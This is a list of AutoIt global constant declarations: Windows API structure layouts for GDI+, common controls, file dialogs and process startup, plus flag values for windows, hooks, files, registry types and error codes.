- Global Const $tagnmcomboboxex = $tagnmhdr & ";uint Mask;int_ptr Item;ptr Text;int TextMax;int Image;" & "int SelectedImage;int OverlayImage;int Indent;lparam Param"
- Global Const $tagdtprange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;" & "word MinSecond;word MinMSecond;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;" & "word MaxMinute;word MaxSecond;word MaxMSecond;bool MinValid;bool MaxValid"
- Global Const $tagnmdatetimechange = $tagnmhdr & ";dword Flag;" & $tagsystemtime
- Global Const $tagnmdatetimeformat = $tagnmhdr & ";ptr Format;" & $tagsystemtime & ";ptr pDisplay;wchar Display[64]"
- Global Const $tagnmdatetimeformatquery = $tagnmhdr & ";ptr Format;struct;long SizeX;long SizeY;endstruct"
- Global Const $tagnmdatetimekeydown = $tagnmhdr & ";int VirtKey;ptr Format;" & $tagsystemtime
- Global Const $tagnmdatetimestring = $tagnmhdr & ";ptr UserString;" & $tagsystemtime & ";dword Flags"
- Global Const $tageventlogrecord = "dword Length;dword Reserved;dword RecordNumber;dword TimeGenerated;dword TimeWritten;dword EventID;" & "word EventType;word NumStrings;word EventCategory;word ReservedFlags;dword ClosingRecordNumber;dword StringOffset;" & "dword UserSidLength;dword UserSidOffset;dword DataLength;dword DataOffset"
- Global Const $taggdip_effectparams_blur = "float Radius; bool ExpandEdge"
- Global Const $taggdip_effectparams_brightnesscontrast = "int BrightnessLevel; int ContrastLevel"
- Global Const $taggdip_effectparams_colorbalance = "int CyanRed; int MagentaGreen; int YellowBlue"
- Global Const $taggdip_effectparams_colorcurve = "int Adjustment; int Channel; int AdjustValue"
- Global Const $taggdip_effectparams_colorlut = "byte LutB[256]; byte LutG[256]; byte LutR[256]; byte LutA[256]"
- Global Const $taggdip_effectparams_huesaturationlightness = "int HueLevel; int SaturationLevel; int LightnessLevel"
- Global Const $taggdip_effectparams_levels = "int Highlight; int Midtone; int Shadow"
- Global Const $taggdip_effectparams_redeyecorrection = "uint NumberOfAreas; ptr Areas"
- Global Const $taggdip_effectparams_sharpen = "float Radius; float Amount"
- Global Const $taggdip_effectparams_tint = "int Hue; int Amount"
- Global Const $taggdipbitmapdata = "uint Width;uint Height;int Stride;int Format;ptr Scan0;uint_ptr Reserved"
- Global Const $taggdipcolormatrix = "float m[25]"
- Global Const $taggdipencoderparam = "struct;byte GUID[16];ulong NumberOfValues;ulong Type;ptr Values;endstruct"
- Global Const $taggdipencoderparams = "uint Count;" & $taggdipencoderparam
- Global Const $taggdiprectf = "struct;float X;float Y;float Width;float Height;endstruct"
- Global Const $taggdipstartupinput = "uint Version;ptr Callback;bool NoThread;bool NoCodecs"
- Global Const $taggdipstartupoutput = "ptr HookProc;ptr UnhookProc"
- Global Const $taggdipimagecodecinfo = "byte CLSID[16];byte FormatID[16];ptr CodecName;ptr DllName;ptr FormatDesc;ptr FileExt;" & "ptr MimeType;dword Flags;dword Version;dword SigCount;dword SigSize;ptr SigPattern;ptr SigMask"
- Global Const $taggdippencoderparams = "uint Count;byte Params[1]"
- Global Const $taghditem = "uint Mask;int XY;ptr Text;handle hBMP;int TextMax;int Fmt;lparam Param;int Image;int Order;uint Type;ptr pFilter;uint State"
- Global Const $tagnmhddispinfo = $tagnmhdr & ";int Item;uint Mask;ptr Text;int TextMax;int Image;lparam lParam"
- Global Const $tagnmhdfilterbtnclick = $tagnmhdr & ";int Item;" & $tagrect
- Global Const $tagnmheader = $tagnmhdr & ";int Item;int Button;ptr pItem"
- Global Const $taggetipaddress = "byte Field4;byte Field3;byte Field2;byte Field1"
- Global Const $tagnmipaddress = $tagnmhdr & ";int Field;int Value"
- Global Const $taglvfindinfo = "struct;uint Flags;ptr Text;lparam Param;" & $tagpoint & ";uint Direction;endstruct"
- Global Const $taglvhittestinfo = $tagpoint & ";uint Flags;int Item;int SubItem;int iGroup"
- Global Const $taglvitem = "struct;uint Mask;int Item;int SubItem;uint State;uint StateMask;ptr Text;int TextMax;int Image;lparam Param;" & "int Indent;int GroupID;uint Columns;ptr pColumns;ptr piColFmt;int iGroup;endstruct"
- Global Const $tagnmlistview = $tagnmhdr & ";int Item;int SubItem;uint NewState;uint OldState;uint Changed;" & "struct;long ActionX;long ActionY;endstruct;lparam Param"
- Global Const $tagnmlvcustomdraw = "struct;" & $tagnmhdr & ";dword dwDrawStage;handle hdc;" & $tagrect & ";dword_ptr dwItemSpec;uint uItemState;lparam lItemlParam;endstruct" & ";dword clrText;dword clrTextBk;int iSubItem;dword dwItemType;dword clrFace;int iIconEffect;" & "int iIconPhase;int iPartID;int iStateID;struct;long TextLeft;long TextTop;long TextRight;long TextBottom;endstruct;uint uAlign"
- Global Const $tagnmlvdispinfo = $tagnmhdr & ";" & $taglvitem
- Global Const $tagnmlvfinditem = $tagnmhdr & ";int Start;" & $taglvfindinfo
- Global Const $tagnmlvgetinfotip = $tagnmhdr & ";dword Flags;ptr Text;int TextMax;int Item;int SubItem;lparam lParam"
- Global Const $tagnmitemactivate = $tagnmhdr & ";int Index;int SubItem;uint NewState;uint OldState;uint Changed;" & $tagpoint & ";lparam lParam;uint KeyFlags"
- Global Const $tagnmlvkeydown = "align 1;" & $tagnmhdr & ";word VKey;uint Flags"
- Global Const $tagnmlvscroll = $tagnmhdr & ";int DX;int DY"
- Global Const $tagmchittestinfo = "uint Size;" & $tagpoint & ";uint Hit;" & $tagsystemtime & ";" & $tagrect & ";int iOffset;int iRow;int iCol"
- Global Const $tagmcmonthrange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds;short Span"
- Global Const $tagmcrange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds;short MinSet;short MaxSet"
- Global Const $tagmcselrange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds"
- Global Const $tagnmdaystate = $tagnmhdr & ";" & $tagsystemtime & ";int DayState;ptr pDayState"
- Global Const $tagnmselchange = $tagnmhdr & ";struct;word BegYear;word BegMonth;word BegDOW;word BegDay;word BegHour;word BegMinute;word BegSecond;word BegMSeconds;endstruct;" & "struct;word EndYear;word EndMonth;word EndDOW;word EndDay;word EndHour;word EndMinute;word EndSecond;word EndMSeconds;endstruct"
- Global Const $tagnmobjectnotify = $tagnmhdr & ";int Item;ptr piid;ptr pObject;long Result;dword dwFlags"
- Global Const $tagnmtckeydown = "align 1;" & $tagnmhdr & ";word VKey;uint Flags"
- Global Const $tagtvitem = "struct;uint Mask;handle hItem;uint State;uint StateMask;ptr Text;int TextMax;int Image;int SelectedImage;" & "int Children;lparam Param;endstruct"
- Global Const $tagtvitemex = "struct;" & $tagtvitem & ";int Integral;uint uStateEx;hwnd hwnd;int iExpandedImage;int iReserved;endstruct"
- Global Const $tagnmtreeview = $tagnmhdr & ";uint Action;" & "struct;uint OldMask;handle OldhItem;uint OldState;uint OldStateMask;" & "ptr OldText;int OldTextMax;int OldImage;int OldSelectedImage;int OldChildren;lparam OldParam;endstruct;" & "struct;uint NewMask;handle NewhItem;uint NewState;uint NewStateMask;" & "ptr NewText;int NewTextMax;int NewImage;int NewSelectedImage;int NewChildren;lparam NewParam;endstruct;" & "struct;long PointX;long PointY;endstruct"
- Global Const $tagnmtvcustomdraw = "struct;" & $tagnmhdr & ";dword DrawStage;handle HDC;" & $tagrect & ";dword_ptr ItemSpec;uint ItemState;lparam ItemParam;endstruct" & ";dword ClrText;dword ClrTextBk;int Level"
- Global Const $tagnmtvdispinfo = $tagnmhdr & ";" & $tagtvitem
- Global Const $tagnmtvgetinfotip = $tagnmhdr & ";ptr Text;int TextMax;handle hItem;lparam lParam"
- Global Const $tagnmtvitemchange = $tagnmhdr & ";uint Changed;handle hItem;uint StateNew;uint StateOld;lparam lParam;"
- Global Const $tagtvhittestinfo = $tagpoint & ";uint Flags;handle Item"
- Global Const $tagnmtvkeydown = "align 1;" & $tagnmhdr & ";word VKey;uint Flags"
- Global Const $tagnmmouse = $tagnmhdr & ";dword_ptr ItemSpec;dword_ptr ItemData;" & $tagpoint & ";lparam HitInfo"
- Global Const $tagtoken_privileges = "dword Count;align 4;int64 LUID;dword Attributes"
- Global Const $tagimageinfo = "handle hBitmap;handle hMask;int Unused1;int Unused2;" & $tagrect
- Global Const $tagmenuinfo = "dword Size;INT Mask;dword Style;uint YMax;handle hBack;dword ContextHelpID;ulong_ptr MenuData"
- Global Const $tagmenuiteminfo = "uint Size;uint Mask;uint Type;uint State;uint ID;handle SubMenu;handle BmpChecked;handle BmpUnchecked;" & "ulong_ptr ItemData;ptr TypeData;uint CCH;handle BmpItem"
- Global Const $tagrebarbandinfo = "uint cbSize;uint fMask;uint fStyle;dword clrFore;dword clrBack;ptr lpText;uint cch;" & "int iImage;hwnd hwndChild;uint cxMinChild;uint cyMinChild;uint cx;handle hbmBack;uint wID;uint cyChild;uint cyMaxChild;" & "uint cyIntegral;uint cxIdeal;lparam lParam;uint cxHeader" & ((@OSVersion = "WIN_XP") ? "" : ";" & $tagrect & ";uint uChevronState")
- Global Const $tagnmrebarautobreak = $tagnmhdr & ";uint uBand;uint wID;lparam lParam;uint uMsg;uint fStyleCurrent;bool fAutoBreak"
- Global Const $tagnmrbautosize = $tagnmhdr & ";bool fChanged;" & "struct;long TargetLeft;long TargetTop;long TargetRight;long TargetBottom;endstruct;" & "struct;long ActualLeft;long ActualTop;long ActualRight;long ActualBottom;endstruct"
- Global Const $tagnmrebar = $tagnmhdr & ";dword dwMask;uint uBand;uint fStyle;uint wID;lparam lParam"
- Global Const $tagnmrebarchevron = $tagnmhdr & ";uint uBand;uint wID;lparam lParam;" & $tagrect & ";lparam lParamNM"
- Global Const $tagnmrebarchildsize = $tagnmhdr & ";uint uBand;uint wID;" & "struct;long CLeft;long CTop;long CRight;long CBottom;endstruct;" & "struct;long BLeft;long BTop;long BRight;long BBottom;endstruct"
- Global Const $tagcolorscheme = "dword Size;dword BtnHighlight;dword BtnShadow"
- Global Const $tagnmtoolbar = $tagnmhdr & ";int iItem;" & "struct;int iBitmap;int idCommand;byte fsState;byte fsStyle;dword_ptr dwData;int_ptr iString;endstruct" & ";int cchText;ptr pszText;" & $tagrect
- Global Const $tagnmtbhotitem = $tagnmhdr & ";int idOld;int idNew;dword dwFlags"
- Global Const $tagtbbutton = "int Bitmap;int Command;byte State;byte Style;dword_ptr Param;int_ptr String"
- Global Const $tagtbbuttoninfo = "uint Size;dword Mask;int Command;int Image;byte State;byte Style;word CX;dword_ptr Param;ptr Text;int TextMax"
- Global Const $tagnetresource = "dword Scope;dword Type;dword DisplayType;dword Usage;ptr LocalName;ptr RemoteName;ptr Comment;ptr Provider"
- Global Const $tagoverlapped = "ulong_ptr Internal;ulong_ptr InternalHigh;struct;dword Offset;dword OffsetHigh;endstruct;handle hEvent"
- Global Const $tagopenfilename = "dword StructSize;hwnd hwndOwner;handle hInstance;ptr lpstrFilter;ptr lpstrCustomFilter;" & "dword nMaxCustFilter;dword nFilterIndex;ptr lpstrFile;dword nMaxFile;ptr lpstrFileTitle;dword nMaxFileTitle;" & "ptr lpstrInitialDir;ptr lpstrTitle;dword Flags;word nFileOffset;word nFileExtension;ptr lpstrDefExt;lparam lCustData;" & "ptr lpfnHook;ptr lpTemplateName;ptr pvReserved;dword dwReserved;dword FlagsEx"
- Global Const $tagbitmapinfoheader = "struct;dword biSize;long biWidth;long biHeight;word biPlanes;word biBitCount;" & "dword biCompression;dword biSizeImage;long biXPelsPerMeter;long biYPelsPerMeter;dword biClrUsed;dword biClrImportant;endstruct"
- Global Const $tagbitmapinfo = $tagbitmapinfoheader & ";dword biRGBQuad[1]"
- Global Const $tagblendfunction = "byte Op;byte Flags;byte Alpha;byte Format"
- Global Const $tagguid = "struct;ulong Data1;ushort Data2;ushort Data3;byte Data4[8];endstruct"
- Global Const $tagwindowplacement = "uint length;uint flags;uint showCmd;long ptMinPosition[2];long ptMaxPosition[2];long rcNormalPosition[4]"
- Global Const $tagwindowpos = "hwnd hWnd;hwnd InsertAfter;int X;int Y;int CX;int CY;uint Flags"
- Global Const $tagscrollinfo = "uint cbSize;uint fMask;int nMin;int nMax;uint nPage;int nPos;int nTrackPos"
- Global Const $tagscrollbarinfo = "dword cbSize;" & $tagrect & ";int dxyLineButton;int xyThumbTop;" & "int xyThumbBottom;int reserved;dword rgstate[6]"
- Global Const $taglogfont = "struct;long Height;long Width;long Escapement;long Orientation;long Weight;byte Italic;byte Underline;" & "byte Strikeout;byte CharSet;byte OutPrecision;byte ClipPrecision;byte Quality;byte PitchAndFamily;wchar FaceName[32];endstruct"
- Global Const $tagkbdllhookstruct = "dword vkCode;dword scanCode;dword flags;dword time;ulong_ptr dwExtraInfo"
- Global Const $tagprocess_information = "handle hProcess;handle hThread;dword ProcessID;dword ThreadID"
- Global Const $tagstartupinfo = "dword Size;ptr Reserved1;ptr Desktop;ptr Title;dword X;dword Y;dword XSize;dword YSize;dword XCountChars;" & "dword YCountChars;dword FillAttribute;dword Flags;word ShowWindow;word Reserved2;ptr Reserved3;handle StdInput;" & "handle StdOutput;handle StdError"
- Global Const $tagsecurity_attributes = "dword Length;ptr Descriptor;bool InheritHandle"
- Global Const $tagwin32_find_data = "dword dwFileAttributes;dword ftCreationTime[2];dword ftLastAccessTime[2];dword ftLastWriteTime[2];dword nFileSizeHigh;dword nFileSizeLow;dword dwReserved0;dword dwReserved1;wchar cFileName[260];wchar cAlternateFileName[14]"
- Global Const $tagtextmetric = "long tmHeight;long tmAscent;long tmDescent;long tmInternalLeading;long tmExternalLeading;" & "long tmAveCharWidth;long tmMaxCharWidth;long tmWeight;long tmOverhang;long tmDigitizedAspectX;long tmDigitizedAspectY;" & "wchar tmFirstChar;wchar tmLastChar;wchar tmDefaultChar;wchar tmBreakChar;byte tmItalic;byte tmUnderlined;byte tmStruckOut;" & "byte tmPitchAndFamily;byte tmCharSet"
- Global Const $hgdi_error = Ptr(-1)
- Global Const $invalid_handle_value = Ptr(-1)
- Global Const $clr_invalid = -1
- Global Const $mb_precomposed = 1
- Global Const $mb_composite = 2
- Global Const $mb_useglyphchars = 4
- Global Const $ulw_alpha = 2
- Global Const $ulw_colorkey = 1
- Global Const $ulw_opaque = 4
- Global Const $ulw_ex_noresize = 8
- Global Const $wh_callwndproc = 4
- Global Const $wh_callwndprocret = 12
- Global Const $wh_cbt = 5
- Global Const $wh_debug = 9
- Global Const $wh_foregroundidle = 11
- Global Const $wh_getmessage = 3
- Global Const $wh_journalplayback = 1
- Global Const $wh_journalrecord = 0
- Global Const $wh_keyboard = 2
- Global Const $wh_keyboard_ll = 13
- Global Const $wh_mouse = 7
- Global Const $wh_mouse_ll = 14
- Global Const $wh_msgfilter = -1
- Global Const $wh_shell = 10
- Global Const $wh_sysmsgfilter = 6
- Global Const $wpf_asyncwindowplacement = 4
- Global Const $wpf_restoretomaximized = 2
- Global Const $wpf_setminposition = 1
- Global Const $kf_extended = 256
- Global Const $kf_altdown = 8192
- Global Const $kf_up = 32768
- Global Const $llkhf_extended = BitShift($kf_extended, 8)
- Global Const $llkhf_injected = 16
- Global Const $llkhf_altdown = BitShift($kf_altdown, 8)
- Global Const $llkhf_up = BitShift($kf_up, 8)
- Global Const $ofn_allowmultiselect = 512
- Global Const $ofn_createprompt = 8192
- Global Const $ofn_dontaddtorecent = 33554432
- Global Const $ofn_enablehook = 32
- Global Const $ofn_enableincludenotify = 4194304
- Global Const $ofn_enablesizing = 8388608
- Global Const $ofn_enabletemplate = 64
- Global Const $ofn_enabletemplatehandle = 128
- Global Const $ofn_explorer = 524288
- Global Const $ofn_extensiondifferent = 1024
- Global Const $ofn_filemustexist = 4096
- Global Const $ofn_forceshowhidden = 268435456
- Global Const $ofn_hidereadonly = 4
- Global Const $ofn_longnames = 2097152
- Global Const $ofn_nochangedir = 8
- Global Const $ofn_nodereferencelinks = 1048576
- Global Const $ofn_nolongnames = 262144
- Global Const $ofn_nonetworkbutton = 131072
- Global Const $ofn_noreadonlyreturn = 32768
- Global Const $ofn_notestfilecreate = 65536
- Global Const $ofn_novalidate = 256
- Global Const $ofn_overwriteprompt = 2
- Global Const $ofn_pathmustexist = 2048
- Global Const $ofn_readonly = 1
- Global Const $ofn_shareaware = 16384
- Global Const $ofn_showhelp = 16
- Global Const $ofn_ex_noplacesbar = 1
- Global Const $std_cut = 0
- Global Const $std_copy = 1
- Global Const $std_paste = 2
- Global Const $std_undo = 3
- Global Const $std_redow = 4
- Global Const $std_delete = 5
- Global Const $std_filenew = 6
- Global Const $std_fileopen = 7
- Global Const $std_filesave = 8
- Global Const $std_printpre = 9
- Global Const $std_properties = 10
- Global Const $std_help = 11
- Global Const $std_find = 12
- Global Const $std_replace = 13
- Global Const $std_print = 14
- Global Const $kb_sendspecial = 0
- Global Const $kb_sendraw = 1
- Global Const $kb_capsoff = 0
- Global Const $kb_capson = 1
- Global Const $s_ok = 0
- Global Const $e_abort = -2147467260
- Global Const $e_accessdenied = -2147024891
- Global Const $e_fail = -2147467259
- Global Const $e_handle = -2147024890
- Global Const $e_invalidarg = -2147024809
- Global Const $e_nointerface = -2147467262
- Global Const $e_notimpl = -2147467263
- Global Const $e_outofmemory = -2147024882
- Global Const $e_pointer = -2147467261
- Global Const $e_unexpected = -2147418113
- Global Const $str_nocasesense = 0
- Global Const $str_casesense = 1
- Global Const $str_nocasesensebasic = 2
- Global Const $str_stripleading = 1
- Global Const $str_striptrailing = 2
- Global Const $str_stripspaces = 4
- Global Const $str_stripall = 8
- Global Const $str_chrsplit = 0
- Global Const $str_entiresplit = 1
- Global Const $str_nocount = 2
- Global Const $str_regexpmatch = 0
- Global Const $str_regexparraymatch = 1
- Global Const $str_regexparrayfullmatch = 2
- Global Const $str_regexparrayglobalmatch = 3
- Global Const $str_regexparrayglobalfullmatch = 4
- Global Const $str_endisstart = 0
- Global Const $str_endnotstart = 1
- Global Const $sb_ansi = 1
- Global Const $sb_utf16le = 2
- Global Const $sb_utf16be = 3
- Global Const $sb_utf8 = 4
- Global Const $se_utf16 = 0
- Global Const $se_ansi = 1
- Global Const $se_utf8 = 2
- Global Const $str_utf16 = 0
- Global Const $str_ucs2 = 1
- Global Const $opt_coordsrelative = 0
- Global Const $opt_coordsabsolute = 1
- Global Const $opt_coordsclient = 2
- Global Const $opt_errorsilent = 0
- Global Const $opt_errorfatal = 1
- Global Const $opt_capsnostore = 0
- Global Const $opt_capsstore = 1
- Global Const $opt_matchstart = 1
- Global Const $opt_matchany = 2
- Global Const $opt_matchexact = 3
- Global Const $opt_matchadvanced = 4
- Global Const $ccs_top = 1
- Global Const $ccs_nomovey = 2
- Global Const $ccs_bottom = 3
- Global Const $ccs_noresize = 4
- Global Const $ccs_noparentalign = 8
- Global Const $ccs_nohilite = 16
- Global Const $ccs_adjustable = 32
- Global Const $ccs_nodivider = 64
- Global Const $ccs_vert = 128
- Global Const $ccs_left = 129
- Global Const $ccs_nomovex = 130
- Global Const $ccs_right = 131
- Global Const $dt_drivetype = 1
- Global Const $dt_ssdstatus = 2
- Global Const $dt_bustype = 3
- Global Const $proxy_ie = 0
- Global Const $proxy_none = 1
- Global Const $proxy_specified = 2
- Global Const $objid_window = 0
- Global Const $objid_titlebar = -2
- Global Const $objid_sizegrip = -7
- Global Const $objid_caret = -8
- Global Const $objid_cursor = -9
- Global Const $objid_alert = -10
- Global Const $objid_sound = -11
- Global Const $dlg_centerontop = 0
- Global Const $dlg_notitle = 1
- Global Const $dlg_notontop = 2
- Global Const $dlg_textleft = 4
- Global Const $dlg_textright = 8
- Global Const $dlg_moveable = 16
- Global Const $dlg_textvcenter = 32
- Global Const $idc_unknown = 0
- Global Const $idc_appstarting = 1
- Global Const $idc_arrow = 2
- Global Const $idc_cross = 3
- Global Const $idc_hand = 32649
- Global Const $idc_help = 4
- Global Const $idc_ibeam = 5
- Global Const $idc_icon = 6
- Global Const $idc_no = 7
- Global Const $idc_size = 8
- Global Const $idc_sizeall = 9
- Global Const $idc_sizenesw = 10
- Global Const $idc_sizens = 11
- Global Const $idc_sizenwse = 12
- Global Const $idc_sizewe = 13
- Global Const $idc_uparrow = 14
- Global Const $idc_wait = 15
- Global Const $idi_application = 32512
- Global Const $idi_asterisk = 32516
- Global Const $idi_exclamation = 32515
- Global Const $idi_hand = 32513
- Global Const $idi_question = 32514
- Global Const $idi_winlogo = 32517
- Global Const $idi_shield = 32518
- Global Const $idi_error = $idi_hand
- Global Const $idi_information = $idi_asterisk
- Global Const $idi_warning = $idi_exclamation
- Global Const $sd_logoff = 0
- Global Const $sd_shutdown = 1
- Global Const $sd_reboot = 2
- Global Const $sd_force = 4
- Global Const $sd_powerdown = 8
- Global Const $sd_forcehung = 16
- Global Const $sd_standby = 32
- Global Const $sd_hibernate = 64
- Global Const $stdin_child = 1
- Global Const $stdout_child = 2
- Global Const $stderr_child = 4
- Global Const $stderr_merged = 8
- Global Const $stdio_inherit_parent = 16
- Global Const $run_create_new_console = 65536
- Global Const $ubound_dimensions = 0
- Global Const $ubound_rows = 1
- Global Const $ubound_columns = 2
- Global Const $mouseeventf_absolute = 32768
- Global Const $mouseeventf_move = 1
- Global Const $mouseeventf_leftdown = 2
- Global Const $mouseeventf_leftup = 4
- Global Const $mouseeventf_rightdown = 8
- Global Const $mouseeventf_rightup = 16
- Global Const $mouseeventf_middledown = 32
- Global Const $mouseeventf_middleup = 64
- Global Const $mouseeventf_wheel = 2048
- Global Const $mouseeventf_xdown = 128
- Global Const $mouseeventf_xup = 256
- Global Const $reg_none = 0
- Global Const $reg_sz = 1
- Global Const $reg_expand_sz = 2
- Global Const $reg_binary = 3
- Global Const $reg_dword = 4
- Global Const $reg_dword_little_endian = 4
- Global Const $reg_dword_big_endian = 5
- Global Const $reg_link = 6
- Global Const $reg_multi_sz = 7
- Global Const $reg_resource_list = 8
- Global Const $reg_full_resource_descriptor = 9
- Global Const $reg_resource_requirements_list = 10
- Global Const $reg_qword = 11
- Global Const $reg_qword_little_endian = 11
- Global Const $hwnd_bottom = 1
- Global Const $hwnd_notopmost = -2
- Global Const $hwnd_top = 0
- Global Const $hwnd_topmost = -1
- Global Const $swp_nosize = 1
- Global Const $swp_nomove = 2
- Global Const $swp_nozorder = 4
- Global Const $swp_noredraw = 8
- Global Const $swp_noactivate = 16
- Global Const $swp_framechanged = 32
- Global Const $swp_drawframe = 32
- Global Const $swp_showwindow = 64
- Global Const $swp_hidewindow = 128
- Global Const $swp_nocopybits = 256
- Global Const $swp_noownerzorder = 512
- Global Const $swp_noreposition = 512
- Global Const $swp_nosendchanging = 1024
- Global Const $swp_defererase = 8192
- Global Const $swp_asyncwindowpos = 16384
- Global Const $keyword_default = 1
- Global Const $keyword_null = 2
- Global Const $declared_local = -1
- Global Const $declared_unknown = 0
- Global Const $declared_global = 1
- Global Const $assign_create = 0
- Global Const $assign_forcelocal = 1
- Global Const $assign_forceglobal = 2
- Global Const $assign_existfail = 4
- Global Const $bi_enable = 0
- Global Const $bi_disable = 1
- Global Const $break_enable = 1
- Global Const $break_disable = 0
- Global Const $cdtray_open = "open"
- Global Const $cdtray_closed = "closed"
- Global Const $send_default = 0
- Global Const $send_raw = 1
- Global Const $dir_default = 0
- Global Const $dir_extended = 1
- Global Const $dir_norecurse = 2
- Global Const $dir_remove = 1
- Global Const $dt_all = "ALL"
- Global Const $dt_cdrom = "CDROM"
- Global Const $dt_removable = "REMOVABLE"
- Global Const $dt_fixed = "FIXED"
- Global Const $dt_network = "NETWORK"
- Global Const $dt_ramdisk = "RAMDISK"
- Global Const $dt_unknown = "UNKNOWN"
- Global Const $dt_undefined = 1
- Global Const $dt_fat = "FAT"
- Global Const $dt_fat32 = "FAT32"
- Global Const $dt_exfat = "exFAT"
- Global Const $dt_ntfs = "NTFS"
- Global Const $dt_nwfs = "NWFS"
- Global Const $dt_cdfs = "CDFS"
- Global Const $dt_udf = "UDF"
- Global Const $dma_default = 0
- Global Const $dma_persistent = 1
- Global Const $dma_authentication = 8
- Global Const $ds_unknown = "UNKNOWN"
- Global Const $ds_ready = "READY"
- Global Const $ds_notready = "NOTREADY"
- Global Const $ds_invalid = "INVALID"
- Global Const $mouse_click_left = "left"
- Global Const $mouse_click_right = "right"
- Global Const $mouse_click_middle = "middle"
- Global Const $mouse_click_main = "main"
- Global Const $mouse_click_menu = "menu"
- Global Const $mouse_click_primary = "primary"
- Global Const $mouse_click_secondary = "secondary"
- Global Const $mouse_wheel_up = "up"
- Global Const $mouse_wheel_down = "down"
- Global Const $number_auto = 0
- Global Const $number_32bit = 1
- Global Const $number_64bit = 2
- Global Const $number_double = 3
- Global Const $obj_name = 1
- Global Const $obj_string = 2
- Global Const $obj_progid = 3
- Global Const $obj_file = 4
- Global Const $obj_module = 5
- Global Const $obj_clsid = 6
- Global Const $obj_iid = 7
- Global Const $exitclose_normal = 0
- Global Const $exitclose_byexit = 1
- Global Const $exitclose_byclick = 2
- Global Const $exitclose_bylogoff = 3
- Global Const $exitclose_byshutdown = 4
- Global Const $process_stats_memory = 0
- Global Const $process_stats_io = 1
- Global Const $process_low = 0
- Global Const $process_belownormal = 1
- Global Const $process_normal = 2
- Global Const $process_abovenormal = 3
- Global Const $process_high = 4
- Global Const $process_realtime = 5
- Global Const $run_logon_noprofile = 0
- Global Const $run_logon_profile = 1
- Global Const $run_logon_network = 2
- Global Const $run_logon_inherit = 4
- Global Const $sound_nowait = 0
- Global Const $sound_wait = 1
- Global Const $shex_open = "open"
- Global Const $shex_edit = "edit"
- Global Const $shex_print = "print"
- Global Const $shex_properties = "properties"
- Global Const $tcp_data_default = 0
- Global Const $tcp_data_binary = 1
- Global Const $udp_open_default = 0
- Global Const $udp_open_broadcast = 1
- Global Const $udp_data_default = 0
- Global Const $udp_data_binary = 1
- Global Const $udp_data_array = 2
- Global Const $tip_noicon = 0
- Global Const $tip_infoicon = 1
- Global Const $tip_warningicon = 2
- Global Const $tip_erroricon = 3
- Global Const $tip_balloon = 1
- Global Const $tip_center = 2
- Global Const $tip_forcevisible = 4
- Global Const $windows_noontop = 0
- Global Const $windows_ontop = 1
- Global Const $win_state_exists = 1
- Global Const $win_state_visible = 2
- Global Const $win_state_enabled = 4
- Global Const $win_state_active = 8
- Global Const $win_state_minimized = 16
- Global Const $win_state_maximized = 32
- Global Const $fc_nooverwrite = 0
- Global Const $fc_overwrite = 1
- Global Const $fc_createpath = 8
- Global Const $ft_modified = 0
- Global Const $ft_created = 1
- Global Const $ft_accessed = 2
- Global Const $ft_array = 0
- Global Const $ft_string = 1
- Global Const $fsf_createbutton = 1
- Global Const $fsf_newdialog = 2
- Global Const $fsf_editcontrol = 4
- Global Const $ft_nonrecursive = 0
- Global Const $ft_recursive = 1
- Global Const $fo_read = 0
- Global Const $fo_append = 1
- Global Const $fo_overwrite = 2
- Global Const $fo_createpath = 8
- Global Const $fo_binary = 16
- Global Const $fo_unicode = 32
- Global Const $fo_utf16_le = 32
- Global Const $fo_utf16_be = 64
- Global Const $fo_utf8 = 128
- Global Const $fo_utf8_nobom = 256
- Global Const $fo_ansi = 512
- Global Const $fo_utf16_le_nobom = 1024
- Global Const $fo_utf16_be_nobom = 2048
- Global Const $fo_utf8_full = 16384
- Global Const $fo_fullfile_detect = 16384
- Global Const $eof = -1
- Global Const $fd_filemustexist = 1
- Global Const $fd_pathmustexist = 2
- Global Const $fd_multiselect = 4
- Global Const $fd_promptcreatenew = 8
- Global Const $fd_promptoverwrite = 16
- Global Const $create_new = 1
- Global Const $create_always = 2
- Global Const $open_existing = 3
- Global Const $open_always = 4
- Global Const $truncate_existing = 5
- Global Const $invalid_set_file_pointer = -1
- Global Const $file_begin = 0
- Global Const $file_current = 1
- Global Const $file_end = 2
- Global Const $file_attribute_readonly = 1
- Global Const $file_attribute_hidden = 2
- Global Const $file_attribute_system = 4
- Global Const $file_attribute_directory = 16
- Global Const $file_attribute_archive = 32
- Global Const $file_attribute_device = 64
- Global Const $file_attribute_normal = 128
- Global Const $file_attribute_temporary = 256
- Global Const $file_attribute_sparse_file = 512
- Global Const $file_attribute_reparse_point = 1024
- Global Const $file_attribute_compressed = 2048
- Global Const $file_attribute_offline = 4096
- Global Const $file_attribute_not_content_indexed = 8192
- Global Const $file_attribute_encrypted = 16384
- Global Const $file_share_read = 1
- Global Const $file_share_write = 2
- Global Const $file_share_delete = 4
- Global Const $file_share_readwrite = BitOR($file_share_read, $file_share_write)
- Global Const $file_share_any = BitOR($file_share_read, $file_share_write, $file_share_delete)
- Global Const $generic_all = 268435456
- Global Const $generic_execute = 536870912
- Global Const $generic_write = 1073741824
- Global Const $generic_read = -2147483648
- Global Const $generic_readwrite = BitOR($generic_read, $generic_write)
- Global Const $file_encoding_utf16le = 32
- Global Const $fe_entire_utf8 = 1
- Global Const $fe_partialfirst_utf8 = 2
- Global Const $fn_fullpath = 0
- Global Const $fn_relativepath = 1
- Global Const $fv_comments = "Comments"
- Global Const $fv_companyname = "CompanyName"
- Global Const $fv_filedescription = "FileDescription"
- Global Const $fv_fileversion = "FileVersion"
- Global Const $fv_internalname = "InternalName"
- Global Const $fv_legalcopyright = "LegalCopyright"
- Global Const $fv_legaltrademarks = "LegalTrademarks"
- Global Const $fv_originalfilename = "OriginalFilename"
